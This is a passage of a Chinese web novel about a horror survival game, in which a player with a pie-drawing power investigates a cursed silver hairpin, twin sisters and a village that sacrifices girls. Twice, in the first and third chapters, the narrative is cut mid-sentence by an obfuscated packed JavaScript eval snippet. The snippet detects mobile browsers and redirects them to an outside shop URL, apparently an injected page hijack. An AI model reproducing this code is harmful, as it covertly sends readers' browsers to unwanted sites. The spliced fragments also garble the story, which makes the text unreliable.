《在恐怖游戏画大饼是什么体验》 1. 血银钗(一) 【欢迎各位玩家进入游戏, 副本名称:血银钗 副本人数:7 副本简介:她梦见,鸟儿飞出囚笼,世上不再有不公与压迫…… 时限:7天 通关条件:安全度过七天并在第七天子时到达渡口。】 【玩家[画大饼之神]已登录,祝您好运。 你是与其他六名同学一同来到墫楠村采风的大学生。在即将离开时,不料渡口的船只出了问题,你们只能滞留在墫楠村。 村中的诡异现象频发,内容相反的日记,时间割裂的时空,还有你们意外发现的银钗……】 宋须满揉揉眼,身体对于外界的感知在一点点恢复,一股浓郁的陈旧木头的气息充斥着整个鼻尖。 她环顾四周,发现自己正坐在一座老宅前厅的大圆桌上,这座老宅看起来很破旧,有点类似于她遥远记忆中农村的祠堂。 这是一张很大的圆桌,总共有七个座位,四周没有灯光,只有每人座位上点燃的一根蜡烛闪烁着幽幽的光,仅仅照亮每人身前的一个小范围。 周围的这些人有男有女,年纪有大有小,相同的是,大家都没有说话,而是沉默地打量着四周。 “大家都是这次的玩家吧?这次副本不是对抗性的,没必要如此警惕吧。”一道含笑的声音打破了宁静,宋须满循着声音的方向看过去。 那是一个戴着眼镜的青年人,看起来很和善,见大家的视线转向自己,他温和地笑了笑。 “这次有新人吗?”他问道。 有几个人巍巍颤颤举起了手,宋须满犹豫了一下,最终还是没举手。 事实上,她并不能算按照“正规流程”参加的游戏。 “就算还有新人,在进入副本之前,应该已经明白规则了吧。” 宋须满不动声色地打量那人,他看起来年岁不大,也很好说话的样子,可这话听起来可不是关心新人的样子,反倒隐隐透出些压迫的意思。 “关你什么事啊?你还真想当我们的老大了?”一个先前没有举手的花臂男人拍桌而起。 “别误会别误会,我只是想帮大家团结起来。”戴眼镜的青年人面色未变,轻描淡写地解释了一句。 “你!”花臂男捏紧了拳头。 “行了!叽叽歪歪的干什么?按照‘规则’,先自我介绍。”清冷的女声将花臂男的火气压了下去,他愤愤看了青年人一眼,重重坐了下去,木椅子与地面摩擦的声响令人毛骨悚然。 “……规则?”一名瘦弱白净的男生嗫嚅开口,他是先前举手的新人之一。 同时宋须满也在脑海中回忆,游戏的规则似乎没有这一条。 “这是规则之外的‘规则’,有时游戏会安排‘不存在的人’进来,为预防此类事件的发生,玩家都会在游戏开始时进行自我介绍。”戴眼镜的青年人完全没有被花臂男影响,他温和地解释着。 “好了,那就从我开始。我叫王一,是一名建筑师,这是我的第四次游戏。”烛火摇晃,他的面庞忽明忽暗,让人看不真切。 随后他抬起手,请示左边的一位继续发言。 白净瘦弱的男生开口:“我叫刘意观,还在念书。这是我第一次进入游戏。” 扎着高马尾的女生指了指刘意观:“我是他的同学,我叫顾语涵,也是大学生。和他一样第一次进游戏。” 众人的目光顺着圆桌朝着下一位看去,是之前那位清冷音的女生。 “我叫云琼月,是一名警察,这是我的第四场游戏。”她的声音冷冷的。 有几道怀疑的目光射向她,她满不在乎地掏出了警官证:“我知道你们在想什么。” 随后她示意那位花臂男发言。 “我叫陶明,如你们所见,就是一个小混混罢了。这是我的第三场游戏。”陶明展示着自己的肌肉。 虽然烛火幽暗,但宋须满看着那隆起的幅度,抽了抽嘴角,这怕不是小混混,是混混老大吧。 “大家好,我是林归云。目前在攻读心理学的博士学位。这是我第二次进入游戏。”清爽的少年音在耳边响起,宋须满忍不住转头看了一眼。 烛火映在少年眼中,星星点点,他的神情认真得简直像上台发言的优秀毕业生,宋须满觉得好笑,忍不住勾起一边嘴角。 “到你啦。”少年在做完“优秀毕业生发言”后转头悄声对她说。 “我叫宋须满,是个自由打工者。也是第二次进入游戏。”宋须满露出职业假笑。 在烛光营造的氛围下,众人莫名觉得这个看起来像洋娃娃一样漂亮的女生此时的笑容有些诡异。 “自由打工者是什么?”林归云歪头问道。 “就是很自由的打工人,想去哪打工就去哪打工,想吃哪里的大饼就吃哪里的大饼。” 闻言,少年眉眼弯弯,露出两颗虎牙,向她比了个大拇指。 宋须满话音未落,七簇烛火突然剧烈地闪烁起来。 其他人暂且还能保持镇定,刘意观则惊恐地站了起来。 坐在他身边的王一迅速将他拉了一把:“别离开座位!” 烛火在短暂闪烁之后,恢复了一会,又开始缓慢闪烁,最终剧烈闪烁。 而后黑暗了一段时间,终于恢复正常。 宋须满饶有兴致地用手模拟着烛火闪烁的频率。 三次间隔很短的闪烁,三次间隔较长的闪烁,再三次间隔较短的闪烁…… 她抬头观察每个人的表情,有人在沉思,有人还处于惊恐状态中。 所有人都互通了姓名,职业,还有游戏场次,游戏前的准备工作已经基本做好。 此时所有烛火同时熄灭,与此同时,老宅里昏黄的灯光亮起,视线范围终于不再局限于前厅。 宋须满借此快速观察了一下,老宅共有三层,两个偏厅,和他们现在所在的前厅。 王一站起来,展现他领头羊的姿态:“时候不早了,大家先休息吧,这座老宅应该就是为我们玩家提供的休息地。” 老宅共有七个房间,一到三号在一楼,四到七号在二楼,三楼的灯没有亮,看起来是未开放区域。 王一给每个房间编了号,宋须满抽到了七号。 来到门前正准备开门,六号房间门口的人探过头来:“你好!宋须满。” 宋须满一听这声音,这不是那个有虎牙的少年吗? 她转头看去,果然是林归云。 宋须满点点头,敷衍道:“你好,请多多关照。” 林归云点点头,随即进入了六号房间。 没想到他居然在隔壁,宋须满将视线移回破旧的木门上,深深吸了一口气。 带着古老木头的潮湿的空气,让人很不好受。 她推开门,映入眼前的首先是被长长的绳子吊在中间的灯泡。 昏黄的灯光让她勉强看清这屋子的全貌。一张梳妆台,一张床,一个衣柜,除此以外什么也没有。 她走了进去,木头嘎吱作响,在寂静的夜里格外明显。 梳妆台上的镜子很旧了,面上有一层脏东西黏在上面,让人看不清自己的面容,宋须满想拉开梳妆台的抽屉,拉了很久也没有拉开。 怎么回事?这抽屉分明没有上锁的痕迹。 此时一股阴风吹来,好似有人在她耳旁吹气,不禁令人起了一身鸡皮疙瘩。 镜子上缓慢浮现出几行红字。 「你在画大饼时,有鬼并不买账,甚至质疑你,嘲笑你自不量力。请问这时你应该怎么做? A.不计前嫌原谅他们。 B.拿出大饼火力全开!」 宋须满面无表情:“B。” 红字消散,镜面上依旧附着着粘腻的脏污,看着令人反胃。抽屉自动打开,有一个小小的东西在里面。 她拿出来仔细一看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564219|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才发现是个小银块,而且好像是从什么东西上面被切割下来的,边缘有点不平整。 宋须满将银块收起,能出现在这里的,肯定是很重要的东西。 接下来她又仔细检查了衣柜和床,一无所获,一阵强烈的困意袭来,她倒在床上沉沉睡去,直到清晨被人叫醒。 叫醒她的人是个老婆婆,看起来年岁已经很大了,她说话有些含糊不清:“早饭已经做好了,快来吃饭吧。” 宋须满跟随她来到偏厅,这里有一张大桌子,正好是七个人的位置,她来得有些晚,只剩下了一个位置。 身边刚好是林归云,少年见她来了,压低声音:“没想到这里还有其他人在。” 宋须满也压低声音:“也不能这么说,也许还有其他鬼在呢。” 林归云大惊失色,警惕地看向四周。 宋须满则是看向了桌上的食物。 馒头,包子,粥,咸菜…… 虽然在这种环境里面很有可能出现一些什么奇怪的东西……不过这些食物盛在大盘里,看起来很正常,已经有人开始用勺子盛粥了。 饭桌上其他人开始交谈起来,一片看似祥和的氛围中,王一从口袋掏出了一个东西展示给其他人看:“这是我昨晚在房间里发现的,你们房里有吗?” 宋须满定睛一看,是个不规则小银块。 陶明呛道:“凭什么告诉你!” 王一胜券在握地笑:“你记得这个副本的名字吗?” 陶明愣愣道:“血银钗……你是说,这些是银钗的碎片?” 众人显然也意识到了,既然副本名里面有银钗,那么银钗肯定是通关副本的重要道具。 “都拿出来吧,大家一起拼。”云琼月说着拿出了自己的小银块。 七个小银块拼出了完整的一支银钗。 刘意观和顾语涵脸色有些不太好,云琼月充分发挥了警察优秀的观察能力:“这上面刻着什么?” 宋须满凑过去看,银钗背面刻着模糊的字。 “李……什么什么,看不清了。” 众人脸色都不太好,王一安抚道:“银钗肯定是这个副本的关键道具。而且这个副本的通关条件只是安全度过七天,只要我们不做什么出格的事就没问题。” 真的没问题吗?这银钗虽说可能是通关副本的道具,但要她说,招致灾祸的可能性更大一些吧。 宋须满想着,余光却看到早上叫醒她的老婆婆进来了。 她扫了桌上的残羹剩饭一眼:“吃完了?” 不过很快她的眼神就聚集在了银钗上,身体小幅度地颤抖着,嘴里嘟囔着:“快了,快了……” 仿佛沉浸在自己的世界里,老婆婆死死盯着银钗,不论怎么与她搭话都没有回应。 快了?什么快了? “她怎么了?”刘意观哆哆嗦嗦地问,第一次进游戏的他显然被吓到了。 但是没有人回答他,因为很快,银钗上开始慢慢渗出红色液体。 正拿着银钗的宋须满被吓了一跳,云琼月迅速接过了她手里的银钗。 “这是……血?”云琼月眉头紧锁,她有一种不好的预感。 果然,血迹很快从尖端蔓延,直至整支银钗,鲜血也流了云琼月一手。 终于,银钗突然碎裂,裂成七块,血迹瞬间消失不见,仿佛从未存在过。 连同宋须满手里的血痕和沿着云琼月手心滴落的鲜血都消失不见。 众人神色各异,将目光转向七个小银块。 “你不是说这鬼东西是通关道具吗?这么邪门,你耍我们呢?”陶明指着七个银块质问王一。 王一似乎也没料到事情会这样发展:“没理由会这样……这个副本……除非……” “除非什么?”宋须满拨开人群凑了上去,一双大眼睛直勾勾盯着王一。 “……特殊规则,副本里的特殊规则。” 2. 血银钗(二) 【请注意,一个副本中的特殊规则有且仅有一条。】 特殊规则? 这点宋须满知道。在正式成为游戏参与者之前,那个所谓的游戏创造者就告诉过她。 【每个副本都有着自己的特殊规则,要是违反了规则,就相当于触犯了禁忌。 我能告诉玩家的只有整个游戏共通的规则。至于副本特殊规则,祝您好运。】 看着碎裂回原样的银钗,宋须满心想,果然,银钗现在还不能被拼好。 特殊规则和银钗有关,那么特殊规则是什么呢? “不能刚开局就拿到通关道具?”陶明试探性地提出猜想。 “没那么简单。”王一低垂着眼,让人看不清他的神色。 顾语涵举手发问:“特殊规则该怎么找?” “不管有形或是无形,它总会在一些特定条件下出现。” “那我们该怎么办?”刘意观白着脸。 云琼月自从手上沾了那诡异的血迹后脸色就不太好。 谁知道那特殊规则与银钗里流出的血有没有关系。 “大家去宅子里找找吧。”王一提议。 宋须满慢吞吞转悠到了大厅里面的供奉台,在辨认不出是什么的神像底下发现了一张磨损严重的照片。 在仿佛打了马赛克的清晰度中,她勉强辨认出照片上有两个差不多大的少女,青涩地看着镜头微笑,其中一个少女头上,赫然插着那只银钗。 两人穿着发型大致一样,双胞胎吗?还是很好的朋友呢? 宋须满不动声色地把照片收好,她又翻了翻周围,没有翻到什么东西。 身后有脚步声传来,宋须满回过头,看见王一正走来,他看见她,抬手打了个招呼:“你好,有什么发现吗?” 宋须满敷衍道:“没什么,找到张照片。我家是信佛的,过来随便看看。” 王一笑容不变:“这样啊,别太紧张,我们一定会成功通过这个副本的。” 宋须满敷衍点点头,顺便问了一句:“你怎么也来这,你也信佛吗?” “不,可能是观念不同,我不信这些虚无缥缈的东西。我只相信我自己。”王一的镜片反射出冰冷的光,看着此时还在微笑的王一,宋须满只感觉这是一只笑面虎。 这种阴冷的感觉仿佛只是她的错觉,王一马上又变成了那个和善的人:“这里没有找到其他线索,我们去别处吧。” 这里已经翻遍了,也没有再留下去的必要,于是宋须满也决定离开。 在跨过门槛的一瞬间,她猛回头。 神像毫无动静,是她想错了吗? 她一口气跨过门槛,在站稳的一瞬间,她再一猛回头,此刻,辨不清面孔的神像上,赫然出现了一颗血红的眼珠子,那眼珠正从左转到右。 被宋须满看见,竟停了下来,又默默转了回去,显得有些尴尬。 宋须满得意极了,她就知道会有这一幕。于是她向着慢慢消失的眼珠子比了个倒着的大拇指。 走在前面的王一没有看见,他低着头仿佛在思考什么。 “王哥,从进副本你就一副得心应手的样子,这个副本很简单吗?”宋须满装作崇拜的样子看向他。 “哪里哪里,不过是从其他人那打听到了一点消息……”王一皮笑肉不笑。 无论宋须满怎样和他东拉西扯,就是从王一嘴里撬不出一点有用的信息。 宋须满咬牙切齿,这个笑面虎。 说着说着就走到了偏厅门口,云琼月招呼着:“两位快来,我们找到了一些线索。” 宋须满跨步进去,发现其他五个人已经都在了,大家正围着桌上的东西看。 宋须满走过去,拿起桌上那张照片。 见她一脸认真的拿起端详,表情复杂,众人都没有说话,期待地看着她。 注意看,眼前这个少女看了半天,认认真真将整张照片从里到外看了一遍,然后在众目睽睽之下居然从自己口袋里掏出一张一样的。 “你怎么也有一张一样的?”陶明瞠目结舌。 “不,不一样。”宋须满将两张照片并排展示给众人。 林归云惊讶道:“一张是左边的女孩头上有银钗,一张是右边的女孩头上有银钗。” “是的,银钗可能有两个。” 宋须满话音刚落,虚空中浮现出一行大字。 【血银钗副本特殊规则:玩家必须拥有两支完整的银钗。】 “嘶——”有人倒吸了一口凉气。 吱呀一声,原本紧闭的老宅大门,在此时打开了。 “我说这门之前怎么踹都踹不开,原来是还没解锁新地图。”陶明挠挠头,看着大门外荒凉的小路,他心里也有点犯怵。 不过大门的打开,也许是给玩家的一些提示。 真正的游戏,恐怕要正式开始了。 一帮人浩浩荡荡沿着荒凉的小路走,刚开始四周还没有房子。 穿过一片几乎看不清任何东西的浓雾后,路边的房子越来越多。可路上却依旧空无一人。 “看来这是村民聚集地了。”刘意观呼出一口气。 “有些不对劲,一点声音也没有。”一路上都没有说话的王一察觉到了异常之处。 “我们分头行动吧,这样效率高些。”云琼月提议。 大家分散开来,林归云凑到宋须满身边:“我和其他人不太熟,我们一起吧?” 宋须满点点头,抬脚就往村口走。 “哎哎哎,你怎么往外走。”林归云摸不着头脑。 宋须满甩出那两张照片:“看背景。” 林归云这才发现照片的背景里有一块石碑和一口井。 宋须满到达村口,果然,一块大石碑上面写着“墫楠村”,字体用红色油漆刷过,看起来很新。 不远处还有一口盖着木板的水井。 宋须满对照着照片上女孩的方位,终于找到了当初拍摄时女孩站着的的位置。 她用脚尖碾了碾,脚下是松软的泥土。 宋须满勾起一边嘴角:“挖。” 林归云:“啊?我吗?” 宋须满离开原地在一旁蹲下:“你不挖谁挖,这可是锻炼的好机会啊!要是别人,我还不把这机会让给他!” 林归云一脸无奈:“……真是谢谢你啊,挖挖挖。” 你看,他还得谢谢咱呢! 由于周围没有趁手的工具,林归云展示了一手精彩绝伦的徒手刨土。 “诶?这是……”林归云摸到一个冰冰凉凉的东西。 是一个小铁盒,林归云晃了晃,有轻微的碰撞声。 宋须满走过来拿走了铁盒:“你晃什么,这不可以直接打开吗?” 宋须满走过去归还了铁盒:“这土压的是真实啊,打不开嘿嘿。” 林归云憋着笑打开了铁盒。 “这是……” 里面有个巴掌大的小本子,页边有些卷翘,看起来已经被人翻阅过很多遍。 翻开第一页,上面只有短短的几行幼稚的字。 [妈妈拿了个很漂亮的银钗,问我和妹妹谁要。银钗亮晶晶的,我之前只在弟弟身上看见过亮晶晶的东西。] “看来这是一本日记。” 宋须满接着翻开了第二页。 [我让给了妹妹,妈妈却用很悲伤的眼神看妹妹。不明白,为什么妹妹有银钗了,妈妈会伤心呢?] …… …… 后面的内容没有了,是一片空白。 宋须满冷笑一声:“你也给我搞等待解锁是吧,需要我充值个vip吗?” 林归云弱弱道:“或许我们可以超前点播。” 宋须满:“走!我们去找女鬼超前点播去!” 这本子的笔迹看起来就像小孩子,也许是照片上的少女小时候的日记。 姐姐和妹妹,那就是双胞胎了。 宋须满正沉浸在思考中,身旁的林归云轻轻碰了她一下,悄声道:“好像有人往井这边来了,我们躲一下。” 宋须满被他拉着蹲在一旁的草丛里。 只见一个包裹得严严实实的妇人提着桶摇摇晃晃走到井边,艰难地搬开井上盖着的木板,提了一桶水,摇摇晃晃走了。 宋须满和林归云对视一眼,悄悄跟上那个妇人。 她提着水桶艰难地走着,一路下来,水简直要洒掉一半。 直到她踏进了其中一间房子的院子,宋须满突然跳出来:“你好!” 林归云被她这一下吓得手忙脚乱:“喂喂,快回来。” 那妇人警惕地看着宋须满,一时间竟然没有动作。 宋须满突然喊道:“林归云!快抢了她的水桶!” 林归云不理解,但是不由自主地就 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见人都到齐了,王一说:“分享一下吧。我、刘意观和顾语涵去了村长的房子,村长很热情地关心我们,但关于村子里的事情一概问不出来。” “村长房子边有个小池塘,我看了一下是深绿色的,说明还挺深的。”顾语涵补充道。 王一接着说:“池塘另一边是村里的祠堂,也不知道在供奉什么。那里有人在门口看着,不过我看了一眼,那神像整张脸上面只有一个眼珠子。” 云琼月点点头,在本子上记录着什么:“我和陶明主要是挨家挨户去村民家里。不过情况不太乐观,有的村民直接无视我们不开门,有的村民虽热情好客,却让人感觉有点不对劲。” “而且村子里面的女孩子很少。”陶明严肃道,“基本上没有见过年轻的女孩子。” 宋须满拍了拍手,将大家的视线都转移过来:“我和林归云去了村口。”她掏出那两张照片,“就照片上这个位置,我们发现了一本日记。” 随后宋须满和林归云把他们的见闻讲述一通。 云琼月则不断在本子上做着笔记,宋须满感觉她笔杆子都要写冒烟了。 “这本日记我们猜测后续还有内容,所以把它埋回去了。” “接下来是重点了!”宋须满提高了音调。 “我们遇见一个打水的妇人,通过一些手段,从她嘴里得知了一些事。” “这个村子每年都要选一个十六岁的女孩献祭。” 王一问道:“献祭?那个诡异的神像……” 宋须满坚定地点点头:“没错没错,就那个眼珠子神,据说之前有一年没献祭,村里的男孩就有一个出事了。” “什么鬼?”云琼月眉头紧锁,“为了男孩献祭女孩?” 宋须满耸耸肩,从这个村子的名字上多多少少可以看出这一点了。 为了一个都说不上到底和鬼神有没有关系的意外而选择牺牲其他人的生命。 对于一些人来说,其实是很正常的。 夜晚,宋须满回到房间整理思绪。 镜子里的自己依旧很模糊,但仿佛有魔力一般,不断吸引着她凑得越来越近,她眼神迷离,逐渐贴近镜子…… 此时镜子里慢慢伸出了一只手,惨白的手,还带着血痕。 宋须满瞬间清醒了过来,她不退反进,一把抓住了那只手,热泪盈眶地晃了晃。 那只手:? 趁着里面的鬼没动作,宋须满激情澎湃:“可算见着你了,这次我来,是专门为了你的升职加薪的。” “这么多年你勤勤恳恳,却只能待在这小小的镜子里,还好有了我,我可以帮助你超越局限,走出一片自己广阔的天地。” “只要你再忍耐几天,定有大好的前程等着你!” 那只手激动地抖了抖,就想挣脱宋须满双手的钳制。 宋须满松开一只手,转眼间手上多了一把小巧的匕首,她以迅雷不及掩耳之势就朝着那只手刺去。 可惜鬼手的速度更快,挣脱了她的手,立马就消失在镜子中,只在镜面上留下一片血痕。 宋须满嫌弃地看着镜子,本来就脏到看不清,这下更脏了。 她擦拭着镜子上的血迹。 却发现有的痕迹擦不掉,有字显露出来,那是鲜红的。 「神不佑我」 3. 血银钗(三) 【画大饼:玩家可将任何画在虚拟大饼上的物体实体化。】 【请注意,画在大饼上需要被实体化的物体的实际大小不能超过大饼的大小。】 宋须满摩挲了一下那四个字,莫名叹了一口气。 今夜依旧是突然的一阵困意袭来,宋须满强撑着爬到床上,安心地闭上了眼。 这是……哪儿? 一阵天旋地转,宋须满看着自己明显变矮的视野,和小小的稚嫩的手,几乎以为自己穿越了。 “大丫二丫,看妈妈给你们带了什么?”眼前的女人十分瘦弱,瘦削的脸上一双眼睛闪着奇异的光。 她一只手抱着一个婴儿,另一只手上拿着一支银钗,在她晃动银钗的细微动作下,另一只手上抱着的婴儿脖子上戴着的银项圈也发出清脆的响动。 宋须满站着没动,余光看见自己身旁的小女孩欢呼着跑了上去:“妈妈妈妈!是弟弟身上那种亮亮的东西吗?好漂亮!” 宋须满感觉到视线移动,原来这具躯体是不受她控制的。 她也来到女人跟前,怯怯开口:“是银钗吗?可以插在头发上的?” 女人摸摸她们的头,很苦恼的样子:“只有一个怎么办呢?大丫你要吗?” 宋须满的视线旋转,头发乱糟糟的小女孩可怜巴巴地看着她:“没事的姐姐。” 于是,宋须满感受到自己胸腔在振动:“妈妈,给妹妹吧。” 小女孩欢呼着先大大拥抱了她,在她脸上吧唧一口:“谢谢姐姐!我最喜欢你了……” 女人将银钗轻轻插在她的头上,悲伤地看着她…… …… …… 宋须满几乎是立刻从梦中惊醒了。 梦境中的感受是那么真实,虽然不能自由行动,但每一次抬手,每一句话语的感觉都是那么真实,就好像那真的是她一样。 她深呼吸了几次,平复好心情。 昨天一整天的调查都没有推进第二支银钗的调查进度。 她踏进偏厅,林归云朝她招手:“这里!” 宋须满首先环顾四周,发现今天早上有好几个人状态都不太好,尤其是刘意观,他的眼下甚至出现了淡淡的乌青。 “你们昨晚做了梦吗?”宋须满朝着林归云的方向问。 众人瞬间七嘴八舌起来。 林归云点点头,打了个哈欠:“昨天那本日记上面的……” 陶明握紧了拳头,咬牙切齿:“睡觉时间应该是玩家的私人时间。” 云琼月一边在笔记本上写着,头也不抬淡淡道:“看来这是同样的梦。” “今天再去村里看看。”王一推了推眼镜。 又是穿过一片浓雾。宋须满和林归云还是首先到了村口处,林归云咦了一声。 “怎么了?”宋须满走到昨天挖到日记的地方。 土面平整,颜色一致。完全看不出来是挖过坑的样子。 “我昨天填坑的时候,明明没有这么平整。”林归云说。 “挖开吧。”宋须满抱着手臂,往旁退开一步。 “啊?又是我?”林归云张大嘴巴,随后认命地蹲了下去,“好吧好吧,我挖。” 林归云拿出铁盒,脸色有些不对,他指着那个土坑:“不像,完全不像昨天那个坑。” “不管怎么说,打开看看吧。”宋须满凑了过去,等林归云打开铁盒,里面还是那个卷了边的笔记本。 翻开第一页。 [那支银钗好漂亮,虽然我很喜欢。但我看得出来姐姐也很喜欢,姐姐平时总让着我,那这次我来让着姐姐吧!] 翻开第二页,同样是幼稚的字迹。 [妈妈很奇怪地看着姐姐,我不太明白,不过姐姐总算有亮晶晶的东西了!] …… …… 后面的内容是一片空白。 日记内容怎么变了呢?看来昨天的是姐姐的日记,今天的是妹妹的日记。 但今天和昨天的结果是截然相反的。 到底是姐姐让给妹妹,还是妹妹让给姐姐? 宋须满紧蹙眉头,日记后面肯定还有内容,但这内容发生变化是什么意思。 林归云的cup显然也不太好,他站在原地,脑袋上都快冒烟了。 宋须满把日记装起来,拍了拍林归云的肩膀,对着他努了努嘴。 林归云几乎是瞬间就明白了她的意思:“你是说,你连填坑也不愿意吗?” 宋须满将铁盒扔他怀里:“别吵,我在思考。” 林归云只好可怜巴巴地又在那填坑:“你说这是怎么回事呢?这完全不是一个人的日记吧。是人格分裂吗?” “应该不是。”宋须满想起了梦中那两个小女孩,确实是有两个孩子的。 但现在线索不足,也只能等晚上再看看了。 林归云填好了坑,站起来拍了拍手:“接下来去哪?” “去那个祠堂吧,我有点在意那个神像。”宋须满决定要去会会那个大眼珠子神。 两人刚走到池塘边,就看见一伙人在池边扭打。 云琼月使尽浑身力气将刘意观反手压在芦苇地上,而刘意观正红着眼睛奋力挣扎,他额上青筋暴起,几乎下一秒就要爆开,力气大的简直要掀翻坐在他背上的陶明。 顾语涵蹲在他面前焦急询问:“你怎么了?还有意识吗?” 陶明被颠得一愣,他啐了一口:“这小子,看起来没什么肌肉,这力气还蛮大。” 余光看见他们正过来顾语涵站起身来大喊:“快!快过来!” 林归云立马上去帮忙,费了九牛二虎之力才把他完全压住。 刘意观痛苦地嚎叫,露出来的皮肤通红,他挣扎的更加剧烈了。 眼看着就要压不住了,宋须满淡定地画了个大饼,过去就是“砰”的一下砸他脑门上。 刘意观晕了过去。 众人这才松开他,满头大汗地从地上起来。 云琼月活动了一下已经僵硬的手臂,指了指祠堂:“他不知道怎么了,一看到那里面的神像就往池边跑。” 陶明用脚踢了踢地上的刘意观:“要不是我们死命拦,这小子现在指不定在水底吃水草!” 此时,宋须满感受着林归云灼热的视线,终于忍不住问出口:“你一直看着我做什么?” 林归云扭扭捏捏地靠近她,指了指她手上的大饼:“你的大饼看起来很好吃。可以分我一点吗?” 宋须满刚砸了人,大饼还抓在手上。她沉默片刻:“你是大学生吗?” 林归云咽了咽口水:“我可以是。” 宋须满看着大饼,这饼也算是画出来的,不过是直接在大饼上画了一个大饼,应该也可以算是直接画出来的实物吧? 可这实物和那食物能一样吗? 而且此饼坚硬无比,它简直让宋须满想起出现在她大学时光中,那可以与砖头媲美的中秋节月饼…… “你真的想吃吗?”宋须满摩挲着那坚硬的饼,它的外壳并不光滑,却无处不体现出在锅里摸爬滚打过的坑坑洼洼,甚至还散发出一股淡淡的大饼香味,真是饼淡如菊。 “你真的想吃,我的大饼吗?”宋须满又问了一句。她把大饼拿在手上掂了掂,它并没有多少重量,但其实还是有一点重量,不然怎么能拿去砸人呢? 林归云坚定地点点头,他恐怕以为这是一个真正的大饼。 嗯……怎么不算呢? 大饼在他们之间传递,宋须满松开了手,指尖还残留着一丝大饼的触感。再见了,我的大饼! 林归云欣喜若狂,他拿到大饼后虔诚地咬了一口,牙齿与坚硬如钢铁般的大饼碰撞,发出的声响如雷霆一样直击他的脑壳。 他默默放下大饼,泪流满面:“这么多年了,原来我还是依旧啃不动大饼……” 宋须满安慰地拍了拍他,年轻人啃不动大饼很正常,在社会上被殴打几年就不得不啃得动了…… 让出了自己的大饼后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564221|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不顾其他人的阻拦,宋须满坚持要去祠堂看看,她一脸坚定:“我并不惧怕大眼珠子。” 云琼月他们担心着,却又没办法,只能无奈地说:“我们就守在门口。” 林归云挥了挥手上的大饼:“要是你出了什么事,我会帮忙把你砸晕的。” 这里看起来年久失修,屋顶上有一个大窟窿,照射进的阳光虚虚地照在那尊神像上,空气中的灰尘一览无余,那神像脸上硕大的一个眼珠子仿佛正阴冷地盯着她。 蒲团上布满了蜘蛛网,供奉的香全都只剩下一截小小的头露在外面。 宋须满走上前,在神像跟前站定。刺目的阳光同时笼罩着她和神像,阴暗潮湿的祠堂内,此时就只有她们站在阳光下。 宋须满看着那个眼珠子:“说说吧,怎么害人的。” 神像静静立在那,没有丝毫动静。 “你不说我也没办法,但是,做了坏事,就是要付出代价的,对吗?” 神像上灰蒙蒙的眼睛仿佛活了过来,它流下了一滴血泪。 随后那大眼珠子又变成了灰蒙蒙的一片,无论宋须满说什么都没有反应。 宋须满感觉心里闷闷的,她也不知道这感觉从何而来,就是没有理由的。 于是她告诉了一声林归云她不参与晚上的讨论就一个人回房了。 梳妆台上的镜面上依然印着那擦不掉的四个大字: 「神不佑我」 宋须满感到一阵烦躁,自从见了那大眼珠子,她的精神状态也岌岌可危了。 就连是什么时候进入梦境的,她也没有察觉。 只见自己的视线飞速移动,她抱住女人的大腿:“妈妈!这个东西好漂亮。” 女人一只手抱着一个婴儿,婴儿脖子上的银项圈和手腕上的银手镯在阳光下发出冰冷的光。 女人用另一只手晃晃银钗,状似苦恼,嘴角却微微勾起,显得面色有些扭曲:“只有一个怎么办呢?” 宋须满感受着张口时喉管里的气流涌出:“妈妈!给姐姐吧!” 视线旋转,女人用骷髅般的手将银钗插在了一个满脸通红的小女孩头上,悲伤地看着她…… …… 宋须满不是自然醒的,而是被惊天动地的拍门声吵醒的。 林归云焦急的声音混杂着无间断的拍门声,隔着木板传来:“宋须满!宋须满!你还好吗?你可千万不要有事啊!” 见还没有人开门,林归云用身体撞门的声音出现了。 就在此时,宋须满打开了门。 林归云一时收不住力,抱着宋须满向前跑了几步才堪堪停下。 宋须满捏住他的手臂,将他往外面推了推,刚想脱口而出的疑问哽在喉间。 因为她看见,林归云一脸严肃地盯着她,她从未见过他这样认真的神情。 他反握住她的手臂:“出大事了。” “刘意观,死了。” 宋须满瞳孔地震,昨天回来时,刘意观还是昏迷的样子,结果今天人就没了? 林归云带着宋须满匆匆赶往昨天那个池塘。 刘意观已经被捞上来了,他平躺在地上,面上带着祥和的微笑。早已失去了生息。 周围围着一圈人,陶明在那喃喃自语:“我们昨天明明把他绑好了,怎么会……” 云琼月在那蹲着检查他的尸体:“身上有挣扎过的痕迹,看来是挣脱了绳子。原来影响这么大吗?” 恐惧笼罩在所有人的心中。 副本肯定不是安全的,他们也知道会死人,但真正当一个活生生的人变成尸体,还是会让人心生恐惧。 宋须满低着头,林归云以为她在害怕,拍了拍她的肩膀:“没事的,我们很快就能出去,肯定不会再死人了。” 宋须满摇摇头,她再次看了一眼池塘边的某个地方,那里,一片芦苇正在微风下微微飘荡。 完好无损的芦苇吗? 确认了心中所想,她拉着林归云:“走,去村口。” 4. 血银钗(四) 村口处,林归云一眼就看到了那一处颜色较周围泥土更深的地方。 “这回正常了!一看就是我们挖过的。” 他自觉地蹲下身去挖,宋须满注意到,他今天甚至还带了个小勺子。 林归云注意到她的视线,嘿嘿一笑:“这不是昨天吃晚饭的时候觉得这个勺子很漂亮嘛,不知不觉就塞口袋里了……” “咳咳,挖到了!” 宋须满接过日记。 第一页与第二页与他们昨天看到的妹妹把银钗让给姐姐不一样。 而是回到了第一天看到的姐姐让给妹妹的内容。 继续往下翻。 